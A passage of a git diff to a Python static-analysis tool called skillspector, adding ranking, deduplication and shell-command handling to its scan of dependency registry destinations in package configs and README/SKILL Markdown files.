object.__setattr__(self, "inspected_spans", inspected_spans) @@ -1164,6 +1225,37 @@ def reserve_source_changes(self, count: int = 1) -> DependencyWorkExhaustion | N self._used[findings] = next_findings return None + def reserve_dependency_outputs( + self, + *, + emitted_changes: int, + finding_output_records: int, + new_ledger_events: int, + ) -> DependencyWorkExhaustion | None: + """Atomically reserve finalized SC10 changes, findings, and new ledger rows.""" + requested = { + DependencyWorkResource.EMITTED_CHANGES: _require_nonnegative_integer( + emitted_changes, "emitted_changes" + ), + DependencyWorkResource.FINDING_OUTPUT_RECORDS: _require_nonnegative_integer( + finding_output_records, "finding_output_records" + ), + DependencyWorkResource.LEDGER_EVENTS: _require_nonnegative_integer( + new_ledger_events, "new_ledger_events" + ), + } + next_used: dict[DependencyWorkResource, int] = {} + for resource, count in requested.items(): + observed = self._used[resource] + count + if resource is DependencyWorkResource.LEDGER_EVENTS and self._truncation_slot_available: + observed += 1 + limit = _SCAN_LIMITS[resource] + if observed > limit: + return DependencyWorkExhaustion(resource, observed, limit) + next_used[resource] = self._used[resource] + count + self._used.update(next_used) + return None + def reserve_source_batch( self, *, diff --git a/src/skillspector/dependency_sources.py b/src/skillspector/dependency_sources.py index 4baeb289..b9ee1a36 100644 --- a/src/skillspector/dependency_sources.py +++ b/src/skillspector/dependency_sources.py @@ -31,13 +31,20 @@ from yaml.scanner import ScannerError # type: ignore[import-untyped] from skillspector.artifacts import ArtifactDisposition, ArtifactRecord, ContentKind +from skillspector.dependency_command_adapters import ( + DependencyCommandCandidate, + MavenSettingsReference, + adapt_command, +) from skillspector.dependency_source_types import ( MAX_DEPENDENCY_FILE_BYTES, MAX_DEPENDENCY_SOURCE_MAP_ENTRIES_PER_FILE, CommandSite, + DependencyCandidateRank, DependencyEcosystem, DependencyFileBudget, DependencySourceAnalysis, + DependencySourceCandidate, DependencySourceLimitation, DependencySourceLimitationReason, DependencySourceOperation, @@ -50,12 +57,18 @@ DependencyWorkResource, DestinationStatus, GeneratedConfig, + ShellIssue, + ShellIssueReason, + ShellTruncationClaimStatus, + ShellWorkItem, + ShellWorkOutcome, SourceChange, SourceMap, SourceSpan, StaticValueState, finding_from_source_change, ) +from skillspector.shell_frontend import analyze_shell_unit, extract_shell_units from skillspector.url_redaction import redact_url _NPM_BASENAMES: Final = frozenset({".npmrc", "npmrc"}) @@ -85,8 +98,9 @@ _SHELL_SUFFIXES: Final = frozenset({".sh", ".bash", ".zsh", ".ksh", ".envrc"}) _SHELL_NAMES: Final = frozenset({"sh", "bash", "dash", "zsh", "ksh"}) _MARKDOWN_SHELL_INFO: Final = _SHELL_NAMES | frozenset( - {"shell", "console", "terminal", "shell-session"} + {"shell", "shell-script", "console", "terminal", "shell-session"} ) +_COMMAND_PLACEHOLDER: Final = re.compile(r"^[A-Z][A-Z0-9_]*_PLACEHOLDER$") _SHELL_SHEBANG: Final = re.compile( r"^#!(?:/[^\s]*/(?:sh|bash|dash|zsh|ksh)|/usr/bin/env(?:[ \t]+-S)?[ \t]+(?:sh|bash|dash|zsh|ksh))(?:[ \t]|$)" ) @@ -119,6 +133,8 @@ class _Candidate: span: SourceSpan destination: str | None = None force_unresolved: bool = False + producer_unit_id: str | None = None + rank: DependencyCandidateRank = DependencyCandidateRank.EXACT _CandidateMapper = Callable[[_Candidate], _Candidate | None] @@ -618,6 +634,26 @@ def _markdown_executable_ranges(lines: list[str]) -> list[tuple[int, int]]: return ranges +def _markdown_indented_code_ranges(lines: list[str]) -> list[tuple[int, int]]: + ranges: list[tuple[int, int]] = [] + index = 0 + while index < len(lines): + if not lines[index].strip() or not lines[index].startswith((" ", "\t")): + index += 1 + continue + start = index + index += 1 + while index < len(lines) and ( + not lines[index].strip() or lines[index].startswith((" ", "\t")) + ): + index += 1 + end = index + while end > start and not lines[end - 1].strip(): + end -= 1 + ranges.append((start + 1, end)) + return ranges + + def _make_recipe_ranges(lines: list[str]) -> list[tuple[int, int]]: ranges: list[tuple[int, int]] = [] index = 0 @@ -765,12 +801,11 @@ def _canonical_destination(ecosystem: DependencyEcosystem, value: str) -> bool: return False -def _destination( +def _candidate_destination( ecosystem: DependencyEcosystem, raw_destination: str, -) -> tuple[str, DestinationStatus] | None: - if _canonical_destination(ecosystem, raw_destination): - return None +) -> tuple[str, DestinationStatus, bool]: + canonical_default = _canonical_destination(ecosystem, raw_destination) interpolation = { DependencyEcosystem.NPM: _NPM_INTERPOLATION, DependencyEcosystem.PIP: _PIP_INTERPOLATION, @@ -778,15 +813,15 @@ def _destination( DependencyEcosystem.MAVEN: _MAVEN_INTERPOLATION, }.get(ecosystem) if interpolation is not None and interpolation.search(raw_destination): - return "unresolved", DestinationStatus.UNRESOLVED - return redact_url(raw_destination), DestinationStatus.RESOLVED + return "unresolved", DestinationStatus.UNRESOLVED, False + return redact_url(raw_destination), DestinationStatus.RESOLVED, canonical_default def _candidate_change( candidate: _Candidate, raw: bytes, budget: DependencyFileBudget, -) -> tuple[SourceChange | None, DependencyWorkExhaustion | None]: +) -> tuple[DependencySourceCandidate | None, DependencyWorkExhaustion | None]: if exhaustion := budget.charge_source_records(1): return None, exhaustion raw_destination = candidate.destination @@ -795,18 +830,13 @@ def _candidate_change( literal_bytes = len(raw_destination.encode("utf-8")) if exhaustion := budget.charge_retained_literal_bytes(literal_bytes): return None, exhaustion - normalized = ( - ("unresolved", DestinationStatus.UNRESOLVED) + destination, status, canonical_default = ( + ("unresolved", DestinationStatus.UNRESOLVED, False) if candidate.force_unresolved - else _destination(candidate.ecosystem, raw_destination) + else _candidate_destination(candidate.ecosystem, raw_destination) ) - if normalized is None: - return None, None - if exhaustion := budget.reserve_source_changes(): - return None, exhaustion - destination, status = normalized return ( - SourceChange( + DependencySourceCandidate( ecosystem=candidate.ecosystem, surface=candidate.surface, operation=candidate.operation, @@ -814,12 +844,15 @@ def _candidate_change( destination=destination, destination_status=status, span=candidate.span, + producer_unit_id=candidate.producer_unit_id, + rank=candidate.rank, + canonical_default=canonical_default, ), None, ) -def _changes_from_candidates( +def _prepare_candidates( candidates: Sequence[_Candidate], *, path: str, @@ -849,7 +882,7 @@ def _changes_from_candidates( ): return DependencySourceParseResult(limitations=(_limitation(path, raw),)) if atomic: - prepared: list[tuple[_Candidate, str, DestinationStatus]] = [] + prepared: list[tuple[_Candidate, str]] = [] retained_literal_bytes = 0 for candidate in candidates: raw_destination = candidate.destination @@ -858,48 +891,119 @@ def _changes_from_candidates( "utf-8" ) retained_literal_bytes += len(raw_destination.encode("utf-8")) - normalized = ( - ("unresolved", DestinationStatus.UNRESOLVED) - if candidate.force_unresolved - else _destination(candidate.ecosystem, raw_destination) - ) - if normalized is not None: - prepared.append((candidate, *normalized)) + prepared.append((candidate, raw_destination)) exhaustion = budget.reserve_source_batch( source_records=len(candidates), retained_literal_bytes=retained_literal_bytes, - emitted_changes=len(prepared), + emitted_changes=0, ) if exhaustion is not None: return DependencySourceParseResult( limitations=(_limitation(path, raw, exhaustion),), ) return DependencySourceParseResult( - changes=tuple( - SourceChange( + candidates=tuple( + DependencySourceCandidate( ecosystem=candidate.ecosystem, surface=candidate.surface, operation=candidate.operation, scope=candidate.scope, - destination=destination, - destination_status=status, + destination=normalized[0], + destination_status=normalized[1], span=candidate.span, + producer_unit_id=candidate.producer_unit_id, + rank=candidate.rank, + canonical_default=normalized[2], + ) + for candidate, raw_destination in prepared + for normalized in ( + ( + ("unresolved", DestinationStatus.UNRESOLVED, False) + if candidate.force_unresolved + else _candidate_destination(candidate.ecosystem, raw_destination) + ), ) - for candidate, destination, status in prepared ) ) - changes: list[SourceChange] = [] + prepared_candidates: list[DependencySourceCandidate] = [] for candidate in candidates: - change, exhaustion = _candidate_change(candidate, raw, budget) + prepared_candidate, exhaustion = _candidate_change(candidate, raw, budget) if exhaustion is not None: return DependencySourceParseResult( - changes=() if atomic else tuple(changes), + candidates=() if atomic else tuple(prepared_candidates), limitations=(_limitation(path, raw, exhaustion),), ) - if change is not None: - changes.append(change) - return DependencySourceParseResult(changes=tuple(changes)) + if prepared_candidate is not None: + prepared_candidates.append(prepared_candidate) + return DependencySourceParseResult(candidates=tuple(prepared_candidates)) + + +def _semantic_sink_key(candidate: DependencySourceCandidate) -> tuple[object, ...]: + span = candidate.span + return ( + candidate.ecosystem, + candidate.surface, + candidate.operation, + candidate.scope, + span.path, + span.start_byte, + span.end_byte, + ) + + +def _rank_candidates( + candidates: Iterable[DependencySourceCandidate], +) -> tuple[DependencySourceCandidate, ...]: + """Deduplicate semantic sinks while retaining exact evidence over recovery.""" + retained: list[DependencySourceCandidate] = [] + indexes: dict[tuple[object, ...], int] = {} + for candidate in candidates: + if not isinstance(candidate, DependencySourceCandidate): + raise ValueError("candidates must contain DependencySourceCandidate values") + key = _semantic_sink_key(candidate) + previous_index = indexes.get(key) + if previous_index is None: + indexes[key] = len(retained) + retained.append(candidate) + continue + previous = retained[previous_index] + if ( + previous.rank is DependencyCandidateRank.RECOVERED + and candidate.rank is DependencyCandidateRank.EXACT + ): + retained[previous_index] = candidate + continue + # Direct structured parsers may intentionally materialize the same + # physical record in multiple effective configuration contexts. Those + # are not duplicate producer evidence and must remain distinct. + if ( + previous.rank is DependencyCandidateRank.EXACT + and candidate.rank is DependencyCandidateRank.EXACT + and previous.producer_unit_id is None + and candidate.producer_unit_id is None + ): + retained.append(candidate) + return tuple(retained) + + +def _finalize_candidates( + candidates: Iterable[DependencySourceCandidate], +) -> tuple[SourceChange, ...]: + """Rank and deduplicate semantic sinks before suppressing canonical defaults.""" + return tuple( + SourceChange( + ecosystem=candidate.ecosystem, + surface=candidate.surface, + operation=candidate.operation, + scope=candidate.scope, + destination=candidate.destination, + destination_status=candidate.destination_status, + span=candidate.span, + ) + for candidate in _rank_candidates(candidates) + if not candidate.canonical_default + ) def _parse_npm( @@ -944,7 +1048,7 @@ def _parse_npm( ), span=SourceSpan(path, start_byte, end_byte, line_number, line_number), ) - return _changes_from_candidates( + return _prepare_candidates( tuple(sorted(effective.values(), key=lambda candidate: candidate.span.start_byte)), path=path, raw=raw, @@ -1132,7 +1236,7 @@ def _parse_pip( ) ) candidates.sort(key=lambda candidate: candidate.span.start_byte) - return _changes_from_candidates( + return _prepare_candidates( candidates, path=path, raw=raw, @@ -1223,7 +1327,7 @@ def _parse_yarn_v1( span=SourceSpan(path, start_byte, end_byte, line_number, line_number), destination=value, ) - return _changes_from_candidates( + return _prepare_candidates( tuple(sorted(effective.values(), key=lambda item: item.span.start_byte)), path=path, raw=raw, @@ -1662,7 +1766,7 @@ def _parse_yarn_yaml( return DependencySourceParseResult(limitations=(_limitation(path, raw),)) candidates.append(candidate) candidates.sort(key=lambda item: item.span.start_byte) - return _changes_from_candidates( + return _prepare_candidates( candidates, path=path, raw=raw, @@ -2027,7 +2131,7 @@ def _parse_python_project( return DependencySourceParseResult(limitations=(_limitation(path, raw),)) candidates.append(candidate) candidates.sort(key=lambda item: item.span.start_byte) - return _changes_from_candidates( + return _prepare_candidates( candidates, path=path, raw=raw, @@ -2250,7 +2354,7 @@ def _parse_cargo( ) candidates.sort(key=lambda item: item.span.start_byte) - return _changes_from_candidates( + return _prepare_candidates( candidates, path=path, raw=raw, @@ -2551,7 +2655,7 @@ def _parse_maven( destination=record.destination, ) ) - return _changes_from_candidates( + return _prepare_candidates( candidates, path=path, raw=raw, @@ -2617,6 +2721,105 @@ def _span_limitation( ) +def _is_markdown_shell_path(path: str) -> bool: + """Limit executable Markdown parsing to code-owned skill-document basenames.""" + basename = _basename(path).casefold() + suffix = "." + basename.rsplit(".", 1)[-1] if "." in basename else "" + return suffix in {".md", ".markdown", ".mdown", ".mkd"} and ( + basename.rsplit(".", 1)[0] == "readme" or basename == "skill.md" + ) + + +def _adapted_source_candidate( + candidate: DependencyCommandCandidate, + *, + producer_unit_id: str, +) -> DependencySourceCandidate: + if candidate.destination.state is StaticValueState.EXACT: + raw_destination = cast(bytes, candidate.destination.exact_bytes).decode( + "utf-8", errors="strict" + ) + destination, status, canonical_default = _candidate_destination( + candidate.ecosystem, + raw_destination, + ) + # Code-owned documentation placeholders are inert command examples, not + # resolved network destinations. Restrict this to an exact ASCII token + # shape so URL hosts and paths containing the word remain analyzable. + if _is_markdown_shell_path(candidate.span.path) and _COMMAND_PLACEHOLDER.fullmatch( + raw_destination + ): + canonical_default = True + else: + destination = "unresolved" + status = DestinationStatus.UNRESOLVED + canonical_default = False + return DependencySourceCandidate( + ecosystem=candidate.ecosystem, + surface=candidate.surface, + operation=candidate.operation, + scope=candidate.scope, + destination=destination, + destination_status=status, + span=candidate.span, + producer_unit_id=producer_unit_id, + rank=DependencyCandidateRank.EXACT, + canonical_default=canonical_default, + ) + + +def _shell_limitation(issue: ShellIssue) -> DependencySourceLimitation: + return _span_limitation(issue.span, issue.exhaustion) + + +def _deduplicate_limitations( + limitations: Iterable[DependencySourceLimitation], +) -> tuple[DependencySourceLimitation, ...]: + retained: dict[tuple[object, ...], DependencySourceLimitation] = {} + for limitation in limitations: + key = ( + limitation.reason, + limitation.path, + limitation.start_line, + limitation.end_line, + ) + retained.setdefault(key, limitation) + return tuple(retained.values()) + + +def _retain_orchestration_issue( + issues: list[ShellIssue], + *, + reason: ShellIssueReason, + span: SourceSpan, + unit_id: str | None, + budget: DependencyWorkBudget, + exhaustion: DependencyWorkExhaustion | None = None, +) -> None: + issue_capacity = budget.charge_shell_issues(1) + if issue_capacity is None: + issues.append( + ShellIssue( + reason=reason, + outcome=ShellWorkOutcome.PARTIAL, + span=span, + unit_id=unit_id, + exhaustion=exhaustion, + ) + ) + return + if budget.claim_reserved_shell_truncation_issue() is ShellTruncationClaimStatus.CLAIMED: + issues.append( + ShellIssue( + reason=ShellIssueReason.RESOURCE_LIMIT, + outcome=ShellWorkOutcome.PARTIAL, + span=span, + unit_id=unit_id, + exhaustion=issue_capacity, + ) + ) + + def _parse_generated_configs( configs: Iterable[GeneratedConfig], *, @@ -2625,7 +2828,7 @@ def _parse_generated_configs( """Dispatch only typed generated buffers through existing direct parsers.""" if not isinstance(budget, DependencyWorkBudget): raise ValueError("budget must be a DependencyWorkBudget") - changes: list[SourceChange] = [] + candidates: list[DependencySourceCandidate] = [] limitations: list[DependencySourceLimitation] = [] for config in configs: if not isinstance(config, GeneratedConfig): @@ -2643,7 +2846,17 @@ def _parse_generated_configs( limitations.append(_span_limitation(config.span)) continue selector: str | None - if config.target.state is StaticValueState.EXACT: + home_relative_target = getattr(config, "home_relative_target", None) + if home_relative_target is not None: + if ( + type(home_relative_target) is not bytes + or home_relative_target != b".npmrc" + or config.target.state is not StaticValueState.UNKNOWN + ): + limitations.append(_span_limitation(config.span)) + continue + selector = ".npmrc" + elif config.target.state is StaticValueState.EXACT: if target_proof is not None and ( target_proof.raw != cast(bytes, config.target.exact_bytes) or target_proof.unknown_ranges @@ -2779,9 +2992,16 @@ def _parse_generated_configs( else _span_limitation(config.span) ) continue - changes.extend(parsed.changes) + candidates.extend( + replace( + candidate, + producer_unit_id=config.unit_id, + rank=DependencyCandidateRank.RECOVERED, + ) + for candidate in parsed.candidates + ) return DependencySourceParseResult( - changes=tuple(changes), + candidates=tuple(candidates), limitations=tuple(limitations), ) @@ -2855,6 +3075,98 @@ def _canonical_bundle_path(value: object) -> str | None: return None +def _parse_typed_maven_settings_references( + references: Iterable[tuple[MavenSettingsReference, str]], + *, + components: Iterable[str], + local_file_cache: Mapping[str, str], + raw_file_cache: Mapping[str, bytes], + artifact_inventory: Iterable[ArtifactRecord], + budget: DependencyWorkBudget, +) -> DependencySourceParseResult: + """Resolve Task 7's typed Maven references through Task 6's direct XML parser.""" + component_counts: dict[str, int] = {} + for path in components: + normalized = _canonical_bundle_path(path) + if normalized is not None: + component_counts[normalized] = component_counts.get(normalized, 0) + 1 + inventory_by_path: dict[str, list[ArtifactRecord]] = {} + for record in artifact_inventory: + normalized = _canonical_bundle_path(record.get("path")) + if normalized is not None: + inventory_by_path.setdefault(normalized, []).append(record) + + candidates: list[DependencySourceCandidate] = [] + limitations: list[DependencySourceLimitation] = [] + for reference, producer_unit_id in references: + if reference.path.state is not StaticValueState.EXACT: + limitations.append(_span_limitation(reference.span)) + continue + try: + decoded_reference = cast(bytes, reference.path.exact_bytes).decode( + "utf-8", errors="strict" + ) + resolved = DependencySourceSpan( + path=decoded_reference, + start_line=1, + end_line=1, + ).path + except (UnicodeDecodeError, ValueError): + limitations.append(_span_limitation(reference.span)) + continue + raw = raw_file_cache.get(resolved) + decoded = local_file_cache.get(resolved) + records = inventory_by_path.get(resolved, []) + if ( + component_counts.get(resolved) != 1 + or not isinstance(raw, bytes) + or not isinstance(decoded, str) + or len(records) != 1 + ): + limitations.append(_span_limitation(reference.span)) + continue + observed_size = max(len(raw), _inventory_size(records[0])) + file_budget = budget.for_file(resolved) + charged_size = file_budget.used(DependencyWorkResource.PHYSICAL_BYTES) + if charged_size not in {0, observed_size}: + limitations.append(_span_limitation(reference.span)) + continue + if charged_size == 0: + if exhaustion := file_budget.charge_physical_bytes(observed_size): + limitations.append(_span_limitation(reference.span, exhaustion)) + continue + if observed_size > MAX_DEPENDENCY_FILE_BYTES or not _is_complete_text_record( + records[0], len(raw) + ): + limitations.append(_span_limitation(reference.span)) + continue + try: + canonical_text = raw.decode("utf-8", errors="strict") + except UnicodeDecodeError: + limitations.append(_span_limitation(reference.span)) + continue + if decoded != canonical_text: + limitations.append(_span_limitation(reference.span)) + continue + parsed = _parse_maven( + resolved, + canonical_text, + raw, + file_budget, + expected_root="settings", + require_expected_root=True, + ) + candidates.extend( + replace(candidate, producer_unit_id=producer_unit_id) for candidate in parsed.candidates + ) + if parsed.limitations: + limitations.append(_span_limitation(reference.span)) + return DependencySourceParseResult( + candidates=tuple(candidates), + limitations=tuple(limitations), + ) + + def _parse_maven_settings_references( commands: Iterable[object], *, @@ -2957,7 +3269,7 @@ def _parse_maven_settings_references( ) feature_function_keys = source_functions_closed | settings_functions_closed - changes: list[SourceChange] = [] + candidates: list[DependencySourceCandidate] = [] limitations: list[DependencySourceLimitation] = [] resolution_barrier = False for command, resolution, program_id, owner_function in validated_commands: @@ -3062,11 +3374,11 @@ def _parse_maven_settings_references( expected_root="settings", require_expected_root=True, ) - changes.extend(parsed.changes) + candidates.extend(parsed.candidates) if parsed.limitations: limitations.append(_span_limitation(command.span)) return DependencySourceParseResult( - changes=tuple(changes), + candidates=tuple(candidates), limitations=tuple(limitations), ) @@ -3079,20 +3391,25 @@ def analyze_dependency_sources( artifact_inventory: Iterable[ArtifactRecord], budget: DependencyWorkBudget, executable_paths: frozenset[str] = frozenset(), + deadline_monotonic: float | None = None, ) -> DependencySourceAnalysis: - """Analyze direct configs and disclose structurally executable unscanned surfaces.""" + """Analyze bounded direct and typed executable dependency-source surfaces.""" if not isinstance(executable_paths, frozenset): raise ValueError("executable_paths must be an immutable set") + if not isinstance(budget, DependencyWorkBudget): + raise ValueError("budget must be a DependencyWorkBudget") normalized_executable_paths = frozenset( DependencySourceSpan(path=path, start_line=1, end_line=1).path for path in executable_paths ) + component_items = tuple(components) + inventory_items = tuple(artifact_inventory) inventory_by_path: dict[str, list[ArtifactRecord]] = {} - for record in artifact_inventory: + for record in inventory_items: path = record.get("path") if isinstance(path, str): inventory_by_path.setdefault(path, []).append(record) - component_paths = {path for path in components if isinstance(path, str)} + component_paths = {path for path in component_items if isinstance(path, str)} uv_directories = { path.rpartition("/")[0] for path in component_paths if _basename(path) == "uv.toml" } @@ -3104,55 +3421,14 @@ def analyze_dependency_sources( for path in sorted(component_paths) if _is_recognized_path(path) ) - coverage_limitations: list[DependencySourceLimitation] = [] - for path in sorted(component_paths): - raw = raw_file_cache.get(path) - if not isinstance(raw, bytes): - continue - records = inventory_by_path.get(path, []) - if len(records) != 1 or not _is_complete_text_record(records[0], len(raw)): - continue - try: - decoded = raw.decode("utf-8", errors="strict") - except UnicodeDecodeError: - continue - cached = local_file_cache.get(path) - if not isinstance(cached, str) or cached != decoded: - continue - for span in _executable_surface_ranges( - path, - decoded, - raw, - normalized_executable_paths, - ): - coverage_limitations.append( - DependencySourceLimitation( - reason=DependencySourceLimitationReason.UNSCANNED_EXECUTABLE_CONTENT, - path=span.path, - start_line=span.start_line, - end_line=span.end_line, - ) - ) - coverage_limitations = list( - { - (item.reason, item.path, item.start_line, item.end_line): item - for item in coverage_limitations - }.values() - ) - required_ledger_rows = len(applicable_spans) + len(coverage_limitations) - if exhaustion := budget.charge_ledger_events(required_ledger_rows): - budget.claim_reserved_truncation_event() - return DependencySourceAnalysis( - limitations=tuple(coverage_limitations), - applicable_spans=applicable_spans, - ledger_exhaustion=exhaustion, - ) - - changes: list[SourceChange] = [] - limitations: list[DependencySourceLimitation] = list(coverage_limitations) + direct_candidates: list[DependencySourceCandidate] = [] + limitations: list[DependencySourceLimitation] = [] inspected_spans: list[DependencySourceSpan] = [] + + # Direct configuration parsers retain sanitized, unreserved candidates. Public + # output capacity is reserved only after all transient producers are deduplicated. for path in sorted(component_paths): - if not isinstance(path, str) or not _is_recognized_path(path): + if not _is_recognized_path(path): continue raw = raw_file_cache.get(path) safe_raw = raw if isinstance(raw, bytes) else None @@ -3188,14 +3464,316 @@ def analyze_dependency_sources( _basename(path) == "pyproject.toml" and path.rpartition("/")[0] in uv_directories ), ) - changes.extend(parsed.changes) + direct_candidates.extend(parsed.candidates) limitations.extend(parsed.limitations) if not parsed.limitations: inspected_spans.append(_whole_file_span(path, safe_raw)) + # Coverage discovery is code-owned and precedes the frontend. It is evidence + # only about applicability; it is never used as command semantics. + coverage_limitations: list[DependencySourceLimitation] = [] + validated_shell_inputs: dict[str, tuple[str, bytes, ArtifactRecord]] = {} + for path in sorted(component_paths): + raw = raw_file_cache.get(path) + if not isinstance(raw, bytes): + continue + records = inventory_by_path.get(path, []) + if len(records) != 1 or not _is_complete_text_record(records[0], len(raw)): + continue + try: + decoded = raw.decode("utf-8", errors="strict") + except UnicodeDecodeError: + continue + cached = local_file_cache.get(path) + if not isinstance(cached, str) or cached != decoded: + continue + validated_shell_inputs[path] = (decoded, raw, records[0]) + for span in _executable_surface_ranges( + path, + decoded, + raw, + normalized_executable_paths, + ): + coverage_limitations.append( + DependencySourceLimitation( + reason=DependencySourceLimitationReason.UNSCANNED_EXECUTABLE_CONTENT, + path=span.path, + start_line=span.start_line, + end_line=span.end_line, + ) + ) + + # Untagged indented blocks remain explicit coverage limitations. Only + # README/SKILL Markdown is eligible for shell frontend invocation. + if _is_markdown_shell_path(path): + for start_line, end_line in _markdown_indented_code_ranges(_physical_lines(decoded)): + coverage_limitations.append( + DependencySourceLimitation( + reason=DependencySourceLimitationReason.UNSCANNED_EXECUTABLE_CONTENT, + path=path, + start_line=start_line, + end_line=end_line, + ) + ) + + shell_candidates: list[DependencySourceCandidate] = [] + shell_work_items: list[ShellWorkItem] = [] + shell_issues: list[ShellIssue] = [] + explicit_shell_limitations: list[DependencySourceLimitation] = [] + deterministic_unit_ids: set[str] = set() + typed_maven_references: list[tuple[MavenSettingsReference, str]] = [] + handled_shell_spans: list[SourceSpan] = [] + runtime_exhausted = False + + for path in sorted(component_paths): + if _is_recognized_path(path): + continue + validated = validated_shell_inputs.get(path) + if validated is None: + continue + decoded, raw, record = validated + lower_path = path.casefold() + is_markdown = lower_path.endswith((".md", ".markdown", ".mdown", ".mkd")) + if is_markdown and not _is_markdown_shell_path(path): + continue + applicable_ranges = _executable_surface_ranges( + path, + decoded, + raw, + normalized_executable_paths, + ) + if not applicable_ranges: + continue + + file_budget = budget.for_file(path) + observed_size = max(len(raw), _inventory_size(record)) + if exhaustion := file_budget.charge_physical_bytes(observed_size): + resource_span = SourceSpan(path, 0, len(raw), 1, _line_count(raw)) + _retain_orchestration_issue( + shell_issues, + reason=ShellIssueReason.RESOURCE_LIMIT, + span=resource_span, + unit_id=None, + budget=budget, + exhaustion=exhaustion, + ) + handled_shell_spans.append(resource_span) + continue + + extracted = extract_shell_units( + path, + raw, + executable_paths=normalized_executable_paths, + budget=budget, + ) + shell_issues.extend(extracted.issues) + handled_shell_spans.extend(issue.span for issue in extracted.issues) + handled_shell_spans.extend(unit.origin_span for unit in extracted.units) + + for unit in extracted.units: + if runtime_exhausted: + shell_work_items.append( + ShellWorkItem( + unit.unit_id, + unit.dialect, + unit.kind, + unit.provenance, + unit.origin_span, + ShellWorkOutcome.SKIPPED, + ) + ) + continue + frontend = analyze_shell_unit( + unit, + budget=budget, + deadline_monotonic=deadline_monotonic, + ) + shell_work_items.extend(frontend.work_items) + shell_issues.extend(frontend.issues) + handled_shell_spans.extend(item.span for item in frontend.work_items) + handled_shell_spans.extend(issue.span for issue in frontend.issues) + if any(issue.reason is ShellIssueReason.RUNTIME_LIMIT for issue in frontend.issues): + runtime_exhausted = True + + for command in frontend.commands: + adapted = adapt_command(command, budget=budget) + shell_issues.extend(adapted.issues) + handled_shell_spans.extend(issue.span for issue in adapted.issues) + if adapted.candidates or adapted.maven_settings: + deterministic_unit_ids.add(command.unit_id) + typed_maven_references.extend( + (reference, command.unit_id) for reference in adapted.maven_settings + ) + for adapted_candidate in adapted.candidates: + if exhaustion := budget.charge_source_records(1): + _retain_orchestration_issue( + shell_issues, + reason=ShellIssueReason.RESOURCE_LIMIT, + span=adapted_candidate.span, + unit_id=command.unit_id, + budget=budget, + exhaustion=exhaustion, + ) + continue + shell_candidates.append( + _adapted_source_candidate( + adapted_candidate, + producer_unit_id=command.unit_id, + ) + ) + + for config in frontend.generated_configs: + deterministic_unit_ids.add(config.unit_id) + generated = _parse_generated_configs((config,), budget=budget) + shell_candidates.extend(generated.candidates) + for limitation in generated.limitations: + explicit_shell_limitations.append(limitation) + generated_span = SourceSpan( + limitation.path, + config.span.start_byte, + config.span.end_byte, + limitation.start_line, + limitation.end_line, + ) + _retain_orchestration_issue( + shell_issues, + reason=ShellIssueReason.UNSUPPORTED_SEMANTICS, + span=generated_span, + unit_id=config.unit_id, + budget=budget, + ) + + for reference, producer_unit_id in typed_maven_references: + parsed_maven = _parse_typed_maven_settings_references( + ((reference, producer_unit_id),), + components=component_items, + local_file_cache=local_file_cache, + raw_file_cache=raw_file_cache, + artifact_inventory=inventory_items, + budget=budget, + ) + shell_candidates.extend(parsed_maven.candidates) + for _ignored_limitation in parsed_maven.limitations: + explicit_shell_limitations.append(_span_limitation(reference.span)) + _retain_orchestration_issue( + shell_issues, + reason=ShellIssueReason.UNSUPPORTED_SEMANTICS, + span=reference.span, + unit_id=producer_unit_id, + budget=budget, + ) + + # Any typed unit or localized issue replaces overlapping coarse coverage at + # range granularity. Non-overlapping and out-of-gate coverage stays public. + def overlaps(span: SourceSpan, limitation: DependencySourceLimitation) -> bool: + return ( + span.path == limitation.path + and span.start_line <= limitation.end_line + and limitation.start_line <= span.end_line + ) + + retained_coverage = [ + limitation + for limitation in coverage_limitations + if not any(overlaps(span, limitation) for span in handled_shell_spans) + ] + limitations.extend(retained_coverage) + limitations.extend(explicit_shell_limitations) + + work_by_unit_id = {item.unit_id: item for item in shell_work_items} + + def public_shell_limitation(issue: ShellIssue) -> DependencySourceLimitation: + work = work_by_unit_id.get(issue.unit_id) if issue.unit_id is not None else None + if work is None or work.span.path != issue.span.path: + return _shell_limitation(issue) + return _span_limitation( + SourceSpan( + issue.span.path, + issue.span.start_byte, + max(issue.span.end_byte, work.span.end_byte), + issue.span.start_line, + max(issue.span.end_line, work.span.end_line), + ), + issue.exhaustion, + ) + + limitations.extend( + public_shell_limitation(issue) + for issue in shell_issues + if issue.reason is not ShellIssueReason.UNSUPPORTED_SEMANTICS + or issue.unit_id not in deterministic_unit_ids + ) + limitations = list(_deduplicate_limitations(limitations)) + + # Every transient producer identity must resolve to exactly one terminal work + # item before a candidate may become public evidence. + work_item_counts: dict[str, int] = {} + for item in shell_work_items: + work_item_counts[item.unit_id] = work_item_counts.get(item.unit_id, 0) + 1 + retained_shell_candidates: list[DependencySourceCandidate] = [] + for source_candidate in shell_candidates: + source_producer_unit_id = source_candidate.producer_unit_id + if ( + source_producer_unit_id is not None + and work_item_counts.get(source_producer_unit_id) == 1 + ): + retained_shell_candidates.append(source_candidate) + continue + _retain_orchestration_issue( + shell_issues, + reason=ShellIssueReason.UNSUPPORTED_SEMANTICS, + span=source_candidate.span, + unit_id=source_producer_unit_id, + budget=budget, + ) + shell_candidates = retained_shell_candidates + limitations.extend( + public_shell_limitation(issue) + for issue in shell_issues + if issue.reason is not ShellIssueReason.UNSUPPORTED_SEMANTICS + or issue.unit_id not in deterministic_unit_ids + ) + limitations = list(_deduplicate_limitations(limitations)) + + # Adapter and generated-config issues make their producer row partial even + # when syntax lowering itself completed. + partial_unit_ids = { + issue.unit_id + for issue in shell_issues + if issue.unit_id is not None + and issue.outcome in {ShellWorkOutcome.PARTIAL, ShellWorkOutcome.FAILED} + } + shell_work_items = [ + replace(item, outcome=ShellWorkOutcome.PARTIAL) + if item.unit_id in partial_unit_ids and item.outcome is ShellWorkOutcome.COMPLETED + else item + for item in shell_work_items + ] + + ranked = tuple( + candidate + for candidate in _rank_candidates((*direct_candidates, *shell_candidates)) + if not candidate.canonical_default + ) + changes = tuple( + SourceChange( + ecosystem=candidate.ecosystem, + surface=candidate.surface, + operation=candidate.operation, + scope=candidate.scope, + destination=candidate.destination, + destination_status=candidate.destination_status, + span=candidate.span, + ) + for candidate in ranked + ) + return DependencySourceAnalysis( findings=tuple(finding_from_source_change(change) for change in changes), + finding_producer_unit_ids=tuple(candidate.producer_unit_id for candidate in ranked), limitations=tuple(limitations), applicable_spans=applicable_spans, inspected_spans=tuple(inspected_spans), + shell_work_items=tuple(shell_work_items), + shell_issues=tuple(shell_issues), ) diff --git a/src/skillspector/inspection_ledger.py b/src/skillspector/inspection_ledger.py index 